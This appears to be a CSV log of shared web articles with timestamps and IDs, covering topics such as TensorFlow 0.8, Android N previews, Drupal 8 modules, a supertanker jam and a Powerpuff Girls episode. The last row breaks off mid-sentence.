1460577042,CONTENT SHARED,-1779870737568212247,6735372008307093370,-6508470564210520966,,,,HTML,http://ladobi.uol.com.br/2016/04/meninas-superpoderosas-unicornio-trans/,"Episódio de ""Meninas Superpoderosas"" apresenta pônei trans","A Cartoon Network relançou este ano o desenho das Meninas Superpoderosas . Quando foi ao ar entre 1998 e 2005, ele já era conhecido como um dos desenhos mais progressistas da época, com protagonistas femininas e um elenco que frequentemente desafiava os padrões de gênero . A nova encarnação da série continua se aventurando por caminhos que outras animações consideram espinhosos: num episódio recente, as garotas lidam com a questão da identidade de gênero representada no personagem de um pônei que sente ser, na verdade, um unicórnio. O episódio ""Horn, Sweet Horn"" (""Chifre, doce chifre"") foi ao ar no dia 7 de abril. Nele, Lindinha conhece Donny, um cavalo falante que usa um chifre de unicórnio falso na cabeça. ""Eu posso não ter um chifre, mas eu tenho coração, e no meu coração eu sei que eu sou um lindo unicórnio!"". Lindinha então o convence a se submeter a um procedimento ""transmogrificador"" para que seu corpo possa corresponder a sua identidade. Se as coisas fossem simples o episódio não teria emoção, claro, então não surpreende que o procedimento não dá certo e Donny transforma-se num monstro gigante. Aterrorizado pelas consequências, ele reclama: ""Olha como estou! Eu me tornei um monstro!"". As Meninas Superpoderosas conseguem então a ajuda do Quartel General do Pelotão da Aliança da Coalizão dos Unicórnios, e descobrem então que Donny sempre foi um unicórnio, não importava qual era sua aparência exterior. O episódio termina com um coração animado com as cores da bandeira trans. Em entrevista ao jornal LA Times , o produtor executivo da série, Nick Jennings, comenta: ""Basicamente, quando tudo começa, ele é um pônei, mas quer ser um unicórnio. Ele tem que passar por uma transformação para se tornar um unicórnio, então passamos todo um episódio perguntando, 'o que você é por dentro? O que você é por fora? Como você se identifica? Como as pessoas veem você?'. Há muito subtexto nisso. Eu não acho que ninguém é jovem demais para começar a discutir essas questões, pensar sobre essas coisas, simplesmente apresentar uma atitude, e uma voz que vai ressoar com outras pessoas"".",pt
1460580899,CONTENT SHARED,8637400873589298078,-1032019229384696495,-6165125069895538182,,,,HTML,http://techcrunch.com/2016/04/13/google-launches-distributed-version-of-its-tensorflow-machine-learning-library/,Google launches distributed version of its TensorFlow machine learning system,"Google today announced the launch of version 0.8 of TensorFlow , its open source library for doing the hard computation work that makes machine learning possible. Normally, a small point update like this wouldn't be all that interesting, but with this version, TensorFlow can now run the training processes for building machine learning models across hundreds of machines in parallel. This means training complex models using TensorFlow won't take days or even weeks, but often only hours. The company says distributed computing has long been one of the most requested features for TensorFlow and with this, Google is essentially making the technology that powers much of its recently announced hosted Google Cloud Machine Learning platform available to all developers. Google says it's using the gRPC library to manage all of these machines. The company is also launching a distributed trainer for the Inception image classification neural network that uses its Kubernetes container management service to scale up the processing to hundreds of machines and GPUs. As part of this release, Google is also adding a new library for building these distributed models to TensorFlow. If you want to play with TensorFlow without having to go through what is still a pretty complex setup process, Google also offers a browser-based simulator that lets you experiment with a basic TensorFlow setup and deep learning.",en
1460581063,CONTENT SHARED,-7863574628164051955,-1443636648652872475,-7298018010644449122,,,,HTML,http://googleresearch.blogspot.com.br/2016/04/announcing-tensorflow-08-now-with.html,Announcing TensorFlow 0.8 - now with distributed computing support!,"Google uses machine learning across a wide range of its products. In order to continually improve our models, it's crucial that the training process be as fast as possible. One way to do this is to run TensorFlow across hundreds of machines, which shortens the training process for some models from weeks to hours, and allows us to experiment with models of increasing size and sophistication. Ever since we released TensorFlow as an open-source project, distributed training support has been one of the most requested features. Now the wait is over. Today, we're excited to release TensorFlow 0.8 with distributed computing support, including everything you need to train distributed models on your own infrastructure. Distributed TensorFlow is powered by the high-performance gRPC library, which supports training on hundreds of machines in parallel. It complements our recent announcement of Google Cloud Machine Learning , which enables you to train and serve your TensorFlow models using the power of the Google Cloud Platform. To coincide with the TensorFlow 0.8 release, we have published a distributed trainer for the I nception image classification neural network in the TensorFlow models repository. Using the distributed trainer, we trained the Inception network to 78% accuracy in less than 65 hours using 100 GPUs. Even small clusters-or a couple of machines under your desk-can benefit from distributed TensorFlow, since adding more GPUs improves the overall throughput, and produces accurate results sooner. The distributed trainer also enables you to scale out training using a cluster management system like Kubernetes . Furthermore, once you have trained your model, you can deploy to production and speed up inference using TensorFlow Serving on Kubernetes . Beyond distributed Inception, the 0.8 release includes new libraries for defining your own distributed models. TensorFlow's distributed architecture permits a great deal of flexibility in defining your model, because every process in the cluster can perform general-purpose computation. Our previous system DistBelief (like many systems that have followed it) used special ""parameter servers"" to manage the shared model parameters, where the parameter servers had a simple read/write interface for fetching and updating shared parameters. In TensorFlow, all computation-including parameter management-is represented in the dataflow graph, and the system maps the graph onto heterogeneous devices (like multi-core CPUs, general-purpose GPUs, and mobile processors) in the available processes. To make TensorFlow easier to use, we have included Python libraries that make it easy to write a model that runs on a single process and scales to use multiple replicas for training. This architecture makes it easier to scale a single-process job up to use a cluster, and also to experiment with novel architectures for distributed training. As an example, my colleagues have recently shown that synchronous SGD with backup workers , implemented in the TensorFlow graph, achieves improved time-to-accuracy for image model training. The current version of distributed computing support in TensorFlow is just the start. We are continuing to research ways of improving the performance of distributed training-both through engineering and algorithmic improvements-and will share these improvements with the community on GitHub . However, getting to this point would not have been possible without help from the following people: TensorFlow training libraries - Jianmin Chen, Matthieu Devin, Sherry Moore and Sergio Guadarrama TensorFlow core - Zhifeng Chen, Manjunath Kudlur and Vijay Vasudevan Testing - Shanqing Cai Inception model architecture - Christian Szegedy, Sergey Ioffe, Vincent Vanhoucke, Jonathon Shlens and Zbigniew Wojna Project management - Amy McDonald Sandjideh Engineering leadership - Jeff Dean and Rajat Monga",en
1460581355,CONTENT SHARED,-8426084422061984285,-1032019229384696495,-6165125069895538182,,,,HTML,https://medium.com/google-design/picture-a-better-you-how-google-calendar-uses-illustration-to-help-you-reach-your-goals-96e52bb4a2e1,Picture a Better You: How Google Calendar Uses Illustration to Help You Reach Your Goals - Google Design,"Picture a Better You: How Google Calendar Uses Illustration to Help You Reach Your Goals Commitment is hard. Experience tells us we will likely not succeed, so we make excuses - I don't have the gear for running; I'm too busy to call Mom this week; where can I find the time to read? - and eventually fall back to our old routines. Most of us set up resolutions each year, yet very few of us will stick to them. While the odds are not in our favor, there's good news: scheduling activities increases the chances of completing your goals. We designed Goals to help you schedule time for what matters in your life, working around unexpected changes in plans, while learning from your routine and preferences. Machine learning - our algorithms figure out the best time for you to perform certain activities, learning over time - and illustration work together to help you stay on track and guide you through the process. Illustration as a tool for discovery & action The five canvases - Exercise, Build a skill, Friends & family, Me time, Organize my life - created for us by illustrator Owen Davey , inspire people to visualize themselves working towards their goals. His artwork fosters discovery, helping users explore the variety of goals we curated in the app, from getting healthier, to dealing with chores, and staying in touch with people who matter in your life. Imagery acts as a bridge between aspirations and the content you see in Calendar, making goals more tangible and actionable - seeing a woman running with her dog for example, might get me off the couch and to the park for an evening run. Illustration as a knowledgeable guide Similarly, Maya Stepien 's iconographic event illustrations walk the users through the goal set up process, helping them focus on key aspects of the activity (I need a brush and some canvas before I practice painting, for example) from visualization and mental preparation, to action. These same illustrations surface throughout the whole goal cycle, visually nudging users, and helping them build their routine, day after day. Setting up a Goal requires the user to specify a number of parameters. As we imagine most users setting up just a few Goals - learn to swim, call Mom, read more - we prioritized clarity in our design. A sequence of immersive screens walks the user through each task. The illustration serves as the title of the page, and parallax scrolling removes the need for a progress indicator, as the image conveys forward movement on its own. We also dynamically pull coordinated color samples to set the background and accent color, in order to highlight the confirmation button (the dark blue and bright blue in the example above). Text and UI elements are then colored light or dark, ensuring enough contrast to meet the needs of low vision users. Using illustration to maintain a consistent, vibrant voice over time Balancing the uniqueness of each artist within Goals' overarching visual identity and visual approach is critical. The proportions and details of Owen Davey's characters make for lively and optimistic artwork; Maya Stepien's images delight us with graphic details and her unique use of shadows and textures. When bringing Owen and Maya's work together, we considered two main aspects of Calendar's brand: Deliberate use of color. Using the product's palette as a baseline - without limiting the artist - imagery in Calendar augments and works together with the app's colorful UI. Diverse and inclusive representations of people and activities. Reinforcing Google's values, we chose to represent a diverse range of humans and activities. Whether you wish to be a great dancer, a caring mom, or just want to take more selfies, our illustrations strive to celebrate everyone's abilities, styles, and aspirations in life. The power of visual tools Productivity shouldn't be synonymous with monotony. With Goals, we've brought to life the vast range of activities that make up our days, while simultaneously enhancing the effectiveness of our tools. We hope our users will share the same joy in achieving their goals as we had in designing Goals for Google Calendar. You can find Google Calendar in the Play Store or App Store . - Alessandro Suraci, Calendar UX team",en
1460581739,CONTENT SHARED,-9153494109165200346,1623838599684589103,3184417696659051582,,,,HTML,http://android-developers.blogspot.com/2016/04/android-n-developer-preview-2-out-today.html,"Android N Developer Preview 2, out today! | Android Developers Blog","Posted by Dave Burke, VP of Engineering Last month, we released the first Developer Preview of Android N , to give you a sneak peek at our next platform. The feedback you've shared to-date has helped us catch bugs and improve features. Today, the second release in our series of Developer Previews is ready for you to continue testing against your apps. This latest preview of Android N fixes a few bugs you helped us identify, such as not being able to connect to hidden Wi-Fi networks ( AOSP 203116 ), Multiwindow pauses ( AOSP 203424 ), and Direct Reply closing an open activity ( AOSP 204411 ), to name just a few. We're still on the hunt for more; please continue to share feedback, either in the N Developer Preview issue tracker or in the N preview community . What's new: Last month's Developer Preview introduced a host of new features , like Multi-window, bundled notifications and more. This preview builds on those and includes a few new ones: New human emoji New activity emoji API changes: This update includes API changes as we continue to refine features such as multi-window support (you can now specify a separate minimum height and minimum width for an activity), notifications, and others. For details, take a look at the diff reports available in the downloadable API reference package . Bug fixes: We've resolved a number of issues throughout the system, including these fixes for issues that you've reported through the public issue tracker. Please continue to let us know what you find and follow along with the known issues here . How to get the update: The easiest way to get this and later preview updates is by enrolling your devices in the Android Beta Program . Just visit g.co/androidbeta and opt-in your eligible Android phone or tablet -- you'll soon receive this (and later) preview updates over-the-air. If you've already enrolled your device, you'll receive the update shortly, no action is needed on your part. You can also download and flash this update manually . Developer Preview 2 is intended for developers and not as a daily driver; this build is not yet optimized for performance and battery life. The N Developer Preview is currently available for Nexus 6, Nexus 5X, Nexus 6P, Nexus 9, and Pixel C devices, as well as General Mobile 4G [Android One] devices. For Nexus Player, the update to Developer Preview 2 will follow the other devices by several days. To build and test apps with Developer Preview 2, you need to use Android Studio 2.1 -- the same version that was required for Developer Preview 1. You'll need to check for SDK components updates (including build tools and emulator system images) for Developer Preview 2 -- see here for details. Thanks so much for all of your feedback so far. Please continue to share feedback, either in the N Developer Preview issue tracker or in the N preview community . The sooner we're able to get your feedback, the more of of it we will be able to incorporate in the next release of Android.",en
1460581811,CONTENT REMOVED,-9153494109165200346,1623838599684589103,3184417696659051582,,,,HTML,http://android-developers.blogspot.com/2016/04/android-n-developer-preview-2-out-today.html,"Android N Developer Preview 2, out today! | Android Developers Blog","Posted by Dave Burke, VP of Engineering Last month, we released the first Developer Preview of Android N , to give you a sneak peek at our next platform. The feedback you've shared to-date has helped us catch bugs and improve features. Today, the second release in our series of Developer Previews is ready for you to continue testing against your apps. This latest preview of Android N fixes a few bugs you helped us identify, such as not being able to connect to hidden Wi-Fi networks ( AOSP 203116 ), Multiwindow pauses ( AOSP 203424 ), and Direct Reply closing an open activity ( AOSP 204411 ), to name just a few. We're still on the hunt for more; please continue to share feedback, either in the N Developer Preview issue tracker or in the N preview community . What's new: Last month's Developer Preview introduced a host of new features , like Multi-window, bundled notifications and more. This preview builds on those and includes a few new ones: New human emoji New activity emoji API changes: This update includes API changes as we continue to refine features such as multi-window support (you can now specify a separate minimum height and minimum width for an activity), notifications, and others. For details, take a look at the diff reports available in the downloadable API reference package . Bug fixes: We've resolved a number of issues throughout the system, including these fixes for issues that you've reported through the public issue tracker. Please continue to let us know what you find and follow along with the known issues here . How to get the update: The easiest way to get this and later preview updates is by enrolling your devices in the Android Beta Program . Just visit g.co/androidbeta and opt-in your eligible Android phone or tablet -- you'll soon receive this (and later) preview updates over-the-air. If you've already enrolled your device, you'll receive the update shortly, no action is needed on your part. You can also download and flash this update manually . Developer Preview 2 is intended for developers and not as a daily driver; this build is not yet optimized for performance and battery life. The N Developer Preview is currently available for Nexus 6, Nexus 5X, Nexus 6P, Nexus 9, and Pixel C devices, as well as General Mobile 4G [Android One] devices. For Nexus Player, the update to Developer Preview 2 will follow the other devices by several days. To build and test apps with Developer Preview 2, you need to use Android Studio 2.1 -- the same version that was required for Developer Preview 1. You'll need to check for SDK components updates (including build tools and emulator system images) for Developer Preview 2 -- see here for details. Thanks so much for all of your feedback so far. Please continue to share feedback, either in the N Developer Preview issue tracker or in the N preview community . The sooner we're able to get your feedback, the more of of it we will be able to incorporate in the next release of Android.",en
1460582345,CONTENT SHARED,-7900768082301348135,-6411371239765052331,-6102881961840449364,,,,HTML,http://finance.yahoo.com/news/band-plays-global-oil-glut-130103301.html,"Band plays on, as global oil glut leaves supertankers in a huge jam","By Keith Wallis and Henning Gloystein SINGAPORE (Reuters) - It may be the world's biggest traffic jam. As ports struggle to cope with a global oil glut, huge queues of supertankers have formed in some of the world's busiest sea lanes, where some 200 million barrels of crude lies waiting to be loaded or delivered. The vessels, filled with oil worth around $7.5 billion at current market prices, would stretch for almost 40 km (25 miles) if formed up in one straight line. One captain with more than 20 years at sea told Reuters his tanker had been anchored off Qingdao in northeastern China since late March and was unlikely to dock before the end of this week, a frustrating delay of more than three weeks. ""We've stayed here a long time,"" he said, requesting anonymity because he is not authorized to speak to the press, but added that another kind of jam was helping to alleviate the boredom. ""We have a piano, drums, crew who play guitar - they are not professional but they are coming good. We have more than 1,000 DVDs so there is no need to watch the same one 20 times."" The worst congestion is in the Middle East, as ports struggle to cope with soaring output available for export, and in Asia, where many ports have not been upgraded in time to deal with ravenous demand as consumers take advantage of cheap fuel. ""It's the worst I've seen at Qingdao,"" said a second tanker captain waiting to offload at the world's seventh busiest port, adding that his crew was killing time doing maintenance work. Ralph Leszczynski, head of research at shipbroker Banchero Costa, in Singapore, said the snarl-up was ""one of the worst tanker traffic jams in recent years"". The cause was ""a perfect storm of red-hot demand from new entrant refineries in China and port infrastructure in the Middle East and Latin America that is unable to cope"", he said. MESSING UP THE SCHEDULE Ship tracking data shows 125 supertankers, with the capacity to carry oil to supply energy-hungry China for three weeks, waiting in line at ports. The combined daily cost is $6.25 million, based on current ship hire rates of around $50,000-a-day. While daily tanker fees are typically borne by the fuel buyer, the port delays have a knock-on affect across the shipping industry. ""It messes up port schedules, catering schedules, crew schedules and the schedules of delivering the transported goods,"" said one shipping logistics manager in Singapore. ""It also raises the cost for pretty much everyone involved."" And for dealers, a month-long delay can turn a profitable trade into a painful loss. ""If you've bought 100,000 barrels of crude at $40 (a barrel) that'll cost you $4 million,"" said one oil trader. ""And if you've calculated another 1.5 million bucks for a month's worth of shipping, but you end up paying double that because your ship is stuck in port congestion, then that can seriously mess up everything from your schedule to your arbitrage profitability."" At the heart of the congestion is an unprecedented rise in global oil production, along with rising consumption. Soaring output has pulled down oil prices by as much as 70 percent since 2014. That has helped spur demand from China's independent refiners, freed from government restrictions on imports just last year and gorging on plentiful crude, putting extra pressure on ports. DRY SHIPS, BORED CREWS The oil glut is also causing congestion between the main producer and consumer hubs. Almost all supertankers heading to Asia pass by Singapore or adjacent facilities in southern Malaysia, the world's fuel station for tankers and also a global refinery and ship maintenance hub. Shipping data shows that some 50 supertankers are currently anchored in or close to Singaporean waters for refueling, maintenance or waiting to deliver crude to refineries or be used as floating storage. For sailors stuck a queue of anchored tankers, one of the biggest problems is simply wiling away the time. ""Some of the ships are well-equipped for their crews, but many aren't,"" said a Filipino sailor who left a very large crude carrier (VLCC) in March after a voyage to China. ""On my last one, we had no regular internet ... only an old TV with a couple of old DVD movies. The food is terrible and while waiting to offload we did pretty hard maintenance work. The sort of stuff you can't do when the engine is running."" Captain Alan Loynd, who spent more than 25 years at sea and is now a marine consultant, said long port delays were rare, but could be tedious and isolating when they happened. And unlike in previous eras, having a couple of beers to break the monotony is usually out of the question. ""The chances of getting ashore are remote,"" he said. ""A lot of ships are now dry, so there's no alcohol on board."" (Editing by Alex Richardson)",en
1460590563,CONTENT SHARED,865977730460714234,-3500661007957156229,2671301769720178049,,,,HTML,http://www.imdb.com/title/tt0166396/,Waking Ned Devine (1998),"9 wins & 7 nominations. See more awards "" Storyline The lucky winner of the national lottery is Ned Devine, so taken by his good fortune that he now can't be waked, because he died from the shock of it! News of the win spread quickly in the scenic little Irish village of Tully More, but not the secret news of Ned's demise. With lottery officials closing in to confirm the prize claimed by the deceased Devine, Ned's closest friends scheme to keep the prize money close to home, in memory of Ned of course! But as the plot twists humorously, they learn it is hard is to keep such a secret in a small town. Written by OBGriffiths@yahoo.com Taglines: Finally, a comedy that will make you feel like a million bucks. Details Release Date: 8 January 1999 (USA) Also Known As: Waking Ned Devine Box Office Budget: $3,000,000 (estimated) Opening Weekend: $148,971 (USA) (20 November 1998) Gross: $24,788,807 (USA) (18 June 1999) Company Credits Technical Specs Color: Color (Technicolor) See full technical specs "" Did You Know? Trivia Writer/director Kirk Jones did not have time to cast the role of Father Mulligan before shooting began. On location, he asked gaffer Larry Randall if he would play the part. Randall agreed, and appears in the finished film. See more "" Goofs When the lotto man comes to the village the fist time to verify the ticket, Jackie states that he has left the little bag with the ticket in it in the phone booth. However, earlier when Jackie and Michael are making the call to the lotto we see Jackie placing a red bag with the ticket in it on top of the phone, but when they leave the phone booth there is clearly no red bag left behind. See more "" Quotes Jackie O'Shea : And don't take it personally, Finn, but I bought you some expensive, fruity soaps. Take them home, try them out. See more "" Crazy Credits Catherine Rutter is thanked twice See more "" Connections Featured in Dot the I (2003) See more "" Soundtracks User Reviews Message Boards Recent Posts",en
1460593500,CONTENT SHARED,2335028422423709400,3891637997717104548,3664397758473282254,,,,HTML,https://cloudplatform.googleblog.com/2016/04/lessons-from-a-Google-App-Engine-SRE-on-how-to-serve-over-100-billion-requests-per-day.html,Lessons from a Google App Engine SRE on how to serve over 100 billion requests per day,"In this blog post we caught up with Chris Jones, a Site Reliability Engineer on Google App Engine for the past three-and-a-half years and SRE at Google for almost 9 years, to find out more about running production systems at Google. Chris is also one of the editors of Site Reliability Engineering: How Google Runs Production Systems , published by O'Reilly and available today. Google App Engine serves over 100 billion requests per day. You might have heard about how our Site Reliability Engineers, or SREs, make this happen. It's a little bit of magic, but mostly about applying the principles of computer science and engineering to the design and development of computing systems -generally very large, distributed ones. Site Reliability Engineering is a set of engineering approaches to technology that lets us or anyone run better production systems. It went on to inform the concept of DevOps for the wider IT community. It's interesting because it's a relatively straightforward way of improving performance and reliability at planet-scale, but can be just as useful for any company for say, rolling out Windows desktops. Done right, SRE techniques can increase the effectiveness of operating any computing service. Q : Chris, tell us how many SREs operate App Engine and at what scale? CJ : We have millions of apps on App Engine serving over 100 billion requests per day supported by dozens of SREs. Q : How do we do that with so few people? CJ : SRE is an engineering approach to operating large-scale distributed computing services. Making systems highly standardized is critical. This means all systems work in similar ways to each other, which means fewer people are needed to operate them since there are fewer complexities to understand and deal with. Automation is also important: our turn-up processes to build new capacity or scale load balancing are automated so that we can scale these processes nicely with computers, rather than with more people. If you put a human on a process that's boring and repetitive, you'll notice errors creeping up. Computers' response times to failures are also much faster than ours. In the time it takes us to notice the error the computer has already moved the traffic to another data center, keeping the service up and running. It's better to have people do things people are good at and computers do things computers are good at. Q : What are some of the other approaches behind the SRE model? CJ : Because there are SRE teams working with many of Google's services, we're able to extend the principle of standardization across products: SRE-built tools originally used for deploying a new version of Gmail, for instance, might be generalized to cover more situations. This means that each team doesn't need to build its own way to deploy updates. This ensures that every product gets the benefit of improvements to the tools, which leads to better tooling for the whole organization. In addition, the combination of software engineering and systems engineering knowledge in SRE often leads to solutions that synthesize the best of both backgrounds. Google's software network load balancer, Maglev , is an example - and it's the underlying technology for the Google Cloud Load Balancer . Q : How do these approaches impact App Engine and our customers running on App Engine? CJ : Here's a story that illustrates it pretty well. In the summer of 2013 we moved all of App Engine's US region from one side of the country to the other. The move incurred no downtime to our customers. Q : How? CJ : We shut down one App Engine cluster, and as designed, the apps running on it automatically moved to the remaining clusters. We had created a copy of the US region's High Replication Datastore in the destination data center ahead of time so that those applications' data (and there were petabytes of it!) was already in place; changes to the Datastore were automatically replicated in near real-time so that it was consistently up to date. When it was time to turn on App Engine in the new location, apps assigned to that cluster automatically migrated from their backup clusters and had all their data already in place. We then repeated the process with the remaining clusters until we were done. Advance preparation, combined with extensive testing and contingency plans, meant that we were ready when things went slightly wrong and were able to minimize the impact on customers. And of course, we put together an internal postmortem - another key part of how SRE works - to understand what went wrong and how to fix it for the future, without pointing fingers. Q : Very cool. How can we find out more about SRE? CJ : Sure. If you're interested in learning more about how Site Reliability Engineering works at Google, including the lessons we learned along the way, check out this website , the new book and we'll also be at SREcon this week (April 7-8) giving various talks on this topic. - Posted by Jo Maitland, Managing Editor, Google Cloud Platform",en
1460593984,CONTENT SHARED,7071371416976898441,3891637997717104548,3664397758473282254,,,,HTML,https://evolvingweb.ca/blog/choosing-modules-and-themes-for-drupal-8,Choosing Modules and Themes for Drupal 8,"If you're a Drupal developer who's on the fence about trying Drupal 8, we hope this post will push you to go for it... or inform you that it's better to wait, if your project depends on a module that's not there yet. NOTE : This post is based on the current status of all mentioned projects as of March 30th, 2016. Views The Views module is in core now, and it's stable and ready to go! This is very different than previously, when Drupal 7's adoption was blocked for many months due to unavailability of Views. Token & Pathauto These guys are almost there! Both modules have been actively pushed forward by the community, mostly by Lullabot and MD Systems and, in the case of Pathauto, more recently by the Acquia Module Acceleration Program . Both now have alpha releases. Things seem good enough for start using them, though be warned: we noticed that pathauto bulk path generation doesn't quite work yet. Here you can find a complete list of all modules that make use of Token and their current state for Drupal 8. Admin Toolbar There's a new module for Drupal 8 that adds drop down menus for the admin menu. It's called Admin Toolbar . Works great for those of us who love going straight to the depths of the Drupal admin UI as fast as possible. Slideshows Views Slideshow is here! We can already use this popular module to build our slideshows with Views. There's also an alternative slideshow module, which also integrates with views, called Jssor Slider . Features In Drupal 7, Features was one of the most popular ways of moving configuration across Drupal dev environments, and even across different sites! There is already a port for the Features module for Drupal 8. However, with the introduction of Configuration Management (CMI) in Drupal core, this module will have a different role in our development process. The role of configuration management is to synchronize configuration across Drupal websites, so the configuration is exactly the same. The Features module allows you to export bundled functionality (like a photo gallery or a blog) and install it on other sites. A couple of resources you will find useful in learning about the changes in the Features module for Drupal 8: Display Suite The popular Display Suite module is already ported for Drupal 8. Amazing!!! Themes Bootstrap is so far the most popular Drupal 8 contrib theme being used by the Drupal community. One indicator of its popularity is that almost 1 out of 4 contrib themes available for Drupal 8 is based on the Bootstrap theme. So far, there are almost 100 Drupal 8 Themes on Drupal.org , compared to the 690 Drupal 7 ones. Some of the most popular are: Other Upgraded Modules Some other modules of note that are already stable or at least in alpha or beta: New Drupal 8 (only) Modules And some new things to look forward to using on your Drupal 8 projects:",en
1460594326,CONTENT SHARED,-7554863616241981368,3891637997717104548,3664397758473282254,,,,HTML,https://dev.acquia.com/blog/drupal-8-module-of-the-week/drupal-8-module-of-the-week-simplesamlphp-authentication/05/04/2016/10246,Drupal 8 Module of the Week: simpleSAMLphp Authentication | Acquia,"Each day, more Drupal 7 modules are being migrated to Drupal 8 and new ones are being created for the Drupal community's latest major release. In this series, the Acquia Developer Center is profiling some of the most prominent, useful modules, projects, and tools available for Drupal 8. This week: simpleSAMLphp Authentication . Sven Decabooter-- svendecabooter on Drupal.org--has been a Drupal developer for more than 10 years, contributing both code and helping organise user group meetings and Drupal Camps for the Belgian Drupal community. Sven is part of the D8 MAP team (the Drupal 8 Module Acceleration Program ) that is being paid community development rates by Acquia to help port important Drupal 7 contributed modules to Drupal 8. Thanks also goes to Adam Malone , Alex Ward , and Matthew Grasmick for kicking off the porting of this module, and maintainer Balázs Dianiska who reviewed code and architecture during the upgrade process. What does the simpleSAMLphp Authentication Module do? Centralized user management is important to many businesses and institutions when they need to control user access for many users across a range of online systems--for example intranets, registration and planning systems, expense tracking, etc. They need to be able to both authorise new users and remove access from existing users quickly and easily. These institutions use authentication technologies, Single Sign-On or similar federated authentication setups (which I'll refer to as ""SSO"" in this article) to give each user a single account with a single username/password combination that gives appropriate access to all included systems. The simpleSAMLphp Authentication Module is a ""glue layer"" integrating your Drupal site with the popular simpleSAMLphp authentication library , ""which lets users log in to log into one or more other Drupal sites, for example, as well as other tools and platforms that support this kind of centralized user management. You can set it up to connect to your LDAP or RADIUS server for example, used a lot in enterprises and big organisations,"" adds Sven. Balázs Dianiska speaks from experience, ""Many enterprise clients prefer to use some form of SSO solution, and this component allows us to support several SSO variations, for instance Shibboleth, which is very popular with higher education institutions and SAML, which is widely supported by enterprise identity provider software, such as ADFS."" Why is this important? SSO was never really an easy topic. It requires solid, technically validated trust between a third party and our application, which naturally triggered several implementations and approaches. Using this library, Drupal can act as a consumer to many identity provider services, map users to central user accounts, assign Drupal roles and various fields to the users, and so on. To enable more advanced mapping and configuration it can be also extended by various hooks and Rules integration. According to Balász, ""This module works reliably and it is supported by several major hosting providers, but the technical configuration and information exchange required between the identity manager and Drupal makes it non-trivial to set up."""" See also: Sven Decabooter explains, ""The simpleSAMLphp Authentication Module lets you connect your Drupal site with a software package that has a lot of options for authenticating and authorizing users. Alongside the SAML protocol, it also supports Shibboleth, CAS, OpenID (used by Google and Yahoo), OAuth (used by Twitter) and other protocols through modules, so it gives you the flexibility to work with different, common industry authentication standards. Has Drupal 8 changed this module? The code under the hood now follows Drupal 8 structures and OO-principles, but the functionality of the D8 version was essentially ported directly from the 7.x-3.x branch and is therefore basically the same. If you knew and liked this module in D7, you should be able to get up and running with it in D8. ""However, Drupal 6 and Drupal 7 provided support for mapping external authentication user IDs to Drupal users, through the user_external_login_register() function and authmap table. Since this was removed in D8, we had to provide an alternative, which led to the creation of a new generic module that does just that: ExternalAuth . It's a requirement for the SimpleSAMLphp Auth module, but can be leveraged by other modules as well - and apparently has been, see :)"" ... quote and original smiley by Sven. Sven says he needed about 70 hours to complete his part of the porting process, ""There weren't any huge blockers or issues, but there were some problems exposed that were lingering in the D7 version as well. Mostly they were edge case issues, but it took some time to find decent solutions, since there were no D7 references where it was working."" Module maintainer, Balázs Dianiska, praises Sven's contribution, ""In late 2015, Acquia hired Sven Decabooter to finish the port of this module. It was actually a lot of work (as can be seen from his significant list of commits) and it is thanks to him that I can say with fair confidence that this release is now better than it ever was in the 7.x branch. A lot of polish went into the module since he joined and with test coverage, good documentation, and clean code, the Drupal 8 version is a reliable piece of software for an area where reliability is especially important.""",en
1460594772,CONTENT SHARED,4555339116751579515,3891637997717104548,3664397758473282254,,,,HTML,http://fourkitchens.com/blog/article/meet-aquifer-build-system-easier-drupal-development,Meet Aquifer: A build system for easier Drupal development,"What is a build system? Build systems simplify the development process by leveraging a single tool to handle dependency management, automate tasks like testing, consolidate steps to compile/deploy the product, reduce repetitive steps, and streamline onboarding. Using a build system often leads to using an organized directory and file structure which can be reused across projects, reinforcing best practices, simplifying the process to ramp up new teammates, and making maintainable choices (StackOverflow by haylem) . It helps debugging across environments as well. While build systems have been in use in software projects for decades, they're newer for web projects. Web development used to be limited to serving static assets (HTML, CSS, JS, and images). From there, the industry started having the server execute pieces of the source files to adjust the output dynamically (SHTML, Perl, or PHP) to do things like add modification dates, include reusable snippets, etc. But over the years, this ""dynamic content"" gave rise to full CMS-based websites. The change may have happened gradually, but these really are full applications now. They should be managed as such, especially enterprise sites or sites with large/revolving development teams. We use Aquifer as a build system for Drupal. At Four Kitchens, we saw several pain points in developing and maintaining large Drupal sites-problems that boiled down to not having a build system, particularly around ramping up new developers on projects quickly. We wanted to streamline this process, but discovered that in the Drupal world there are few boilerplates or shell scripts that supported a Drush make workflow. None were cross-compatible. So Patrick Coffey started the Aquifer project, supported by many other Web Chefs at Four Kitchens . Aquifer is a command line interface that makes it easy to scaffold, build, test, and deploy your Drupal websites. It provides a default set of tools that allow you to develop, and build Drupal sites using the Drush-make workflow. In addition, Aquifer ships with an extensions system that allows you to add additional tools to your project. Aquifer.io Aquifer is now running on all Drupal 7 and Drupal 8 new builds at Four Kitchens, supporting dozens of Web Chefs, contractors, and client-side developers. Business value On my current project, I'm the Product Owner. This means that in addition to managing requirements, being the client's advocate, and planning releases, I am also the steward of the client's money. Anything that can be made ""easier"" or ""faster"" equates to more functionality for the money spent, and fewer billables overall. Aside from the technical benefits below, having a build system generally, and using Aquifer specifically, has benefited this and other projects around Four Kitchens in the following ways: Fewer manual steps for creating or updating a development instance allows team members to onboard faster and helps them switch between branches without regressions. Consistent code quality makes code reviews easier with a higher rate of acceptance on the first pass. Eliminating core and contrib code makes code reviews faster and highlights patched code for extra scrutiny if that is a necessity. Each of the following pain-points grows as the project gets older or bigger, challenging a site's overall maintainability. Drupal development pain points solved Core and contrib code in the repo Old way: Using git or another distributed source control system is essential , but most Drupal sites are constructed by including Drupal's core and all contributed modules and themes in the repository. This makes a huge repo full of code you didn't write and aren't responsible for. Then you have to sort through that when you review PRs. New way: Build systems would call core and contrib ""dependencies."" A build system fetches dependencies as needed. Aquifer leverages Drush Make to download the specified versions of core and contrib modules on each build . This keeps your repo lean, free of code outside your project. Managing updates Old way: Use Drush (or download) updates to modules and/or core as needed, then commit it all as a giant changeset (or, if you're crazy like me, spend more time splitting it up). New way: Adjust the drush.make file as needed with the newest or preferred version of the module you're using, then build and deploy. This makes changes very visible, yet also quite simple: You can git blame the drush.make file to figure out exactly when which components were updated and by whom. Sometimes you don't want to update a module unless it's a security release. In the ""old way,"" you'd either need to remember to reset that module's directory pre-commit or fiddle with locking the module version in the Update config. This way, you can update what you want and not update what you don't want. Fear not, the Drupal Update module will still offer notifications as usual. Managing patches In the course of Drupal development, you will likely one day need to alter a contrib or core file. Doing so in an organized and responsible way is the key to maintainability (aka ""not breaking your site""). Old way: Get the patch from D.o, apply it and add the patch to the repo (preferably in a separate directory so it isn't 